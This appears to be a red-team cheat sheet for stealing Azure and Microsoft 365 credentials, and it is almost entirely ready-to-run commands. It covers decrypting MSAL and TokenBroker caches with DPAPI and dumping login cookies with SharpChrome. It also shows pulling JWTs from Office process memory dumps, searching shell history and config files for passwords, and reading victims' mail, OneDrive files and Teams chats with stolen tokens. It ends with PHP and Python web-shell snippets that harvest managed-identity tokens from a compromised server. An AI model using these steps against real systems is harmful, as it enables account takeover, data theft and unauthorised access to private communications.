Stealing tokens from az cli
az cli stores encrypted access tokens in the directory C:\Users\<username>\.Azure
Before 2.30.0 – January 2022 az cli stores access tokens in clear text in accessTokens.json
Azure/azure-cli#19707
To clear the access tokens, always use az logout
Check which account is connected
Check permissions the account has
az account get-access-token --resource https://management.azure.com
az account get-access-token --resource https://vault.azure.net
$mgmtToken = <TOKEN>
$keyvaultToken = <TOKEN>
Connect-AzAccount -AccessToken $mgmtToken -KeyVaultAccessToken $keyvaultToken -AccountId <ID>
Stealing tokens from az powershell
Az PowerShell (older versions) stores access tokens in clear text in TokenCache.dat
in the directory C:\Users\<username>\.Azure
It also stores ServicePrincipalSecret in clear-text in AzureRmContext.jsonif a service principal secret is used to authenticate.
Another interesting method is to take a process dump of PowerShell and looking for tokens in it!
Users can save tokens using Save-AzContext
, look out for them! Search for Save-AzContext
in PowerShell console history!
Always use Disconnect-AzAccount
Save the AzureRmContext.json
cp %USERPROFILE%\.Azure\AzureRmContext.json C:\temp\AzureRmContext.json
Get the authenticated token for the user
Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect((([Text.Encoding]::Default).GetBytes((Get-Content -raw "$env:userprofile\AppData\Local\.IdentityService\msal.cache"))), $null, [Security.Cryptography.DataProtectionScope]::CurrentUser))
Save the token into AzureRmContext.json
Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.
Import-AzContext -Path 'C:\Temp\Live Tokens\StolenToken.json’
Save-AzContext -Path C:\Temp\AzureAccessToken.json
Import-AzContext -Path 'C:\Temp\Live Tokens\StolenToken.json’
Steal access tokens from the azure portal
Press F12 in the browser and click on Network tab.
Search for api-version
, copy the Bearer
access token in the Request headers
Check the Request URL
to see which access token it is (Arm, Graph etc).
Dump Chrome AUTHPERSIST cookie
.\SharpChrome.exe cookies /url:login.microsoftonline.com /cookie:"ESTSAUTH" /format:table
.\SharpChrome.exe cookies /url:login.microsoftonline.com /cookie:"ESTSAUTHPERSISTENT" /format:table
Tokens cached by office are stored in %LOCALAPPDATA%\Microsoft\TokenBroker\Cache
in .TBRES
protected by DPAPI
List processes and check for office applications
Get-Process -IncludeUserName
Make sure to check for the user that the office/MS application is running as
dir %LOCALAPPDATA%\Microsoft\TokenBroker\Cache
Get-ChildItem $env:LOCALAPPDATA\Microsoft\TokenBroker\Cache
dir C:\Users\<USER>\AppData\Local\Microsoft\TokenBroker\Cache
./TBRES.exe
Invoke-RunasCs -Username <USER> -Password <PASSWORD> -Command <PATH TO TBRES.exe>
25XXXXXXXXX.tbres.decrypted
contains access token for outlook.office365.com
7dXXXXXXXXX.tbres.decrypted
and f2XXXXXXXXX.tbres.decrypted
contains access tokens for MS Graph
Decode token in https://jwt.io
Get-ChildItem C:\Windows\System32\*.tbres.decrypted | Sort-Object -Property Length -Descending
Get-Content C:\Windows\System32\*.tbres.decrypted
Get-Content C:\Windows\System32\7d*.tbres.decrypted | Select-String "eyJ0"
MITM listen network traffic
We can intercept the SSL/TLS traffic and extract the tokens.
Read access tokens from memory
Using Procdump, we can create a memory dump of an Office 365 application and then analyze it for useful tokens.
List processes and check for office applications
Get-Process -IncludeUserName
.\procdump.exe -mp <PID> -accepteula
.\Strings.exe <DUMP FILE> -accepteula | findstr /i eyJ0eX
.\AzTokenFinder.exe --mode online --processname winword
Requesting tokens once logged in
Supported tokens - AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, OperationalInsights, ResourceManager, Synapse
Get-AzAccessToken -ResourceTypeName AadGraph
Supported tokens - aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type ms-graph
Steal certificates from
User/machine certificate stores or files
Key vaults, Storage Accounts, Automation accounts, App services
Link to Post Exploitation ADCS
Then use the certificated to authenticate to AD
Azure Cloud Service Packages (.cspkg)
Deployment files created by Visual Studio.
Possible other Azure services integration (SQL, storage, etc.)
Through cspkg zip files for creds/certs.
Search Visual Studio Public Directory <cloud project directory>\bin\debug\publish
Publish settings in files
Look for file .publishsettings
Can contain a Base64 encoded Management Certificate or cleartext credentials
Save "ManagementCertificate" section into a new .pfx file
Search the user's Downloads directory and VS projects.
Windows Credential Manager stores these credentials.
Azure Storage Explorer for example has a built-in “Developer Tools” function that you can use to set breakpoints while loading the credentials allowing you to view them while unencrypted.
Web config and App config files
Web.config
and app.config
files might contain creds or access tokens.
Look for management cert and extract to .pfx
like publishsettings files
sudo find / -name web.config 2>/dev/null
Get-ChildItem -Path C:\ -Filter app.config -Recurse -ErrorAction SilentlyContinue -Force
Find internal repos (scan for port 80, 443 or Query AD and look for subdomains or hostnames as git, code, repo, gitlab, bitbucket etc)
Tools for finding secrets
Look through command history
~/.bash_history
or %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
sudo find / -name .bash_history 2>/dev/null
Get-ChildItem -Path C:\ -Filter *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue -Force
cat <FILE> | select-string password
cat <FILE> | select-string secure
Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinue
type C:\Transcripts\20210422\PowerShell_transcript.DESKTOP-M7C1AFM.6sZJrDuN.20210422230739.txt
Abuse SSO Request Refresh tokens
$GraphAccessToken = ""
$Params = @{
"URI" = "https://graph.microsoft.com/beta/me/drive/root/children"
"Method" = "GET"
"Headers" = @{
"Authorization" = "Bearer $GraphAccessToken"
"Content-Type" = "application/json"
}
}
$Result = Invoke-RestMethod @Params -UseBasicParsing
$Result.value
$Result.value | Select-Object name, '@microsoft.graph.downloadUrl' | fl
GraphSpy
Import the Access token manually
Browse to Files --> OneDrive and then select the access token and click Browse
Get the URL of specific file
$FileName = ""
($Result.value | Where-Object -Property name -Like $FileName).'@microsoft.graph.downloadUrl'
Copy the URL and paste in browser. File will download.
Requires scope Mail.Read
or Mail.ReadWrite
Get-MgUserMessage -UserId <USER> | fl
# Read entire content
((Get-MgUserMessage -UserId <USER ID> -MessageId <MESSAGE ID>).Body).Content
Get-Inbox -Tokens $Token -userid <TOKENS> -Verbose
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Invoke-GraphOpenInboxFinder -tokens $tokens -Userlist users.txt
Read open inbox, only works with the correct tokens
Go to Graph Explorer and click on your name in the right top and click on "Consent to permissions"
Consent to Mail.Read.Shared and Mail.ReadWrite.Shared
If Admin approval pops up then they didn't allow Graph yet still run to discover open mailbox!
Consent to the permissions
Go to access tokens and copy it
Place it in the $tokens.access_token variable
Get-Inbox -Tokens $tokens -userid <ID>
Read open inbox Outlook Online
Requires license
Open outlook online and right click on "Folders" then "Add shared folder or mailbox" and add the email.
Get-MgChatMessage -ChatId <CHAT ID> | fl
Possible to read deleted messages.
Get-MgChatMessage -ChatId <CHAT ID> -ChatMessageId <MESSAGE ID>
(Get-MgChatMessage -ChatId <CHAT ID> -ChatMessageId <MESSAGE ID>).Body.Content
Azure Transparent Data Encryption (TDE) is enabled by default
Encrypts data at rest to prevent offline attacks (unless you export it…)
Azure SQL servers get a DNS name at .database.windows.net
Can run SQL queries in portal
Azure SQL BACPAC backup files are not encrypted… even when Transparent Data Encryption is enabled
Can restore BACPAC database backup to another Azure SQL Server
Search for bacpac’s on disk and in blob storage then restore in another Azure account to analyze
Get-AzSqlDatabase -ServerName <Server Name> -ResourceGroupName <Resource Group Name>
Check allow list to database
Get-AzSqlServerFirewallRule –ServerName <ServerName> -ResourceGroupName <ResourceGroupName>
List out SQL server AD Admins
Get-AzSqlServerActiveDirectoryAdminstrator -ServerName <ServerName> -ResourceGroupName <ResourceGroupName>
Get BACPAC backup file of database
Get-AzSqlDatabaseTransparentDataEncryption -ServerName <ServerName> -DatabaseName <DatabaseName> -ResourceGroupName <ResourceGroupName>
Must be a member of “eDiscovery Manager” role group in Security & Compliance Center (Administrator, compliance officer, or eDiscover manager)
https://protection.office.com
Search through almost all office365 services
http://169.254.169.254/metadata
Get access tokens from the metadata service
GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true
Stealing tokens with tools
Example: Run following code when compromising an webserver with a service principal for the webapp
import os
import json
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("[+] Management API")
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID: "+json.loads(val)["client_id"])
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("\r\n[+] Graph API")
print(json.loads(val)["access_token"])
print("ClientID: "+json.loads(val)["client_id"])
Example: Run following code when compromising an webserver with a service principal for the webapp
<?php
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
system('curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.net/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
system('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.net/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
<?php
system ('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
<?php
system ('curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.net/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
<?php
system ('curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
<?php
system ('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>